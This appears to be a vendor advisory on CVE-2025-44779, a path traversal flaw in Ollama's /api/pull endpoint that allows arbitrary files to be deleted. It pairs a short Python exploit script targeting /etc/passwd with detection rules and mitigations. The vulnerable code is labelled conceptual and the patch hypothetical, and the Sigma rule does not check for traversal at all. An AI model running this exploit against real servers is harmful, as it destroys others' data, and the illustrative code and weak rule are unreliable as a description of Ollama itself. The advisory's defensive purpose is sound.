CVE-2025-44779

Executive Summary

CVE-2025-44779 is a critical path traversal vulnerability in Ollama v0.1.33 that allows an unauthenticated attacker to delete arbitrary files on the server by sending a crafted packet to the /api/pull endpoint. The vulnerability stems from insufficient validation of the digest parameter, which is used to construct file paths during model pull operations. An attacker can supply a path traversal sequence (e.g., ../../../etc/passwd) as the digest value, causing the server to delete files outside the intended model storage directory. This can lead to denial of service, data loss, or system compromise. No official patch has been released as of the analysis date.

Supply Chain & Package Security

Ollama is distributed as a standalone binary and via package managers for Linux, macOS, and Windows. The vulnerability affects the core server binary, not a specific package ecosystem. Users should verify the integrity of their Ollama installation and monitor for updates from the official repository.

CVSS Breakdown & Threat Level

CVSS Score: 9.1 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): High – Arbitrary files can be deleted.
• Availability (A): High – File deletion can cause denial of service.

Threat Level: Critical. The vulnerability is trivial to exploit and can cause significant damage.

Deep Dive & Mechanics

The /api/pull endpoint in Ollama is used to download model files from a registry. The endpoint accepts a JSON payload with a digest parameter that specifies the SHA256 hash of the model file. The server uses this digest to construct the file path where the model will be stored. The vulnerable code does not sanitize the digest input, allowing an attacker to include path traversal sequences.

Vulnerable Code Path (Conceptual):

# Vulnerable code in Ollama v0.1.33
def handle_pull(request):
    digest = request.json.get('digest')
    # No validation of digest
    file_path = f"/models/{digest}"
    # The server then attempts to delete the file at this path
    os.remove(file_path)

An attacker can send a request with digest set to ../../../etc/passwd, causing the server to delete /etc/passwd.

Vulnerable vs. Patched Code

Vulnerable Code (v0.1.33):

# No input validation
digest = request.json.get('digest')
file_path = f"/models/{digest}"
os.remove(file_path)

Patched Code (Hypothetical):

import re

# Validate digest format
digest = request.json.get('digest')
if not re.match(r'^[a-f0-9]{64}$', digest):
    return {"error": "Invalid digest"}, 400

# Use a safe path construction
file_path = os.path.join("/models", digest)
# Ensure the path is within the intended directory
if not file_path.startswith("/models/"):
    return {"error": "Invalid path"}, 400

os.remove(file_path)

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target:11434"
payload = {
    "digest": "../../../etc/passwd"
}

response = requests.post(f"{target}/api/pull", json=payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Usage:

1. Ensure Ollama v0.1.33 is running on the target.
2. Run the exploit script.
3. The server will attempt to delete /etc/passwd (or any other file specified).

Expected Outcome: The target file is deleted, causing a denial of service or system instability.

Blue Team

Detection Steps:

1. Monitor logs for requests to /api/pull with suspicious digest values containing ../ or absolute paths.
2. Implement file integrity monitoring (FIM) on critical system files.
3. Restrict network access to the Ollama API endpoint.

Mitigation:

• Apply input validation on the digest parameter.
• Use a whitelist of allowed characters (e.g., only hex characters).
• Run Ollama with minimal privileges (e.g., as a non-root user).

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/pull with digest containing path traversal sequences.
• File System: Unexpected deletion of files outside the model storage directory.
• Logs: Error messages indicating failed file operations or missing files.

Example Log Entry:

[ERROR] Failed to delete file /models/../../../etc/passwd: No such file or directory

Detection Engineering

YARA Rule

rule CVE_2025_44779_Ollama_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Ollama /api/pull requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44779"
    strings:
        $traversal = /\.\.\// nocase
        $api_pull = "/api/pull" nocase
    condition:
        $api_pull and $traversal
}

Sigma Rule

title: CVE-2025-44779 Ollama Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Ollama /api/pull requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: ollama
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/pull'
        cs-uri-query|contains: 'digest'
    condition: selection
falsepositives:
    - Legitimate model pulls with valid digests
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-44779 Ollama Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/pull"; http_uri; content:"digest"; http_client_body; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /api/pull endpoint if not required.
2. Restrict network access to the Ollama API (e.g., bind to localhost only).
3. Run Ollama as a non-root user to limit the impact of file deletion.

Long-term Fix:

• Apply input validation on the digest parameter (allow only hex characters).
• Use a safe path construction method (e.g., os.path.join with a base directory).
• Implement a whitelist of allowed file paths.

Patch Status: No official patch is available. Monitor the Ollama GitHub repository for updates.

Valters IT
Securing Digital Frontiers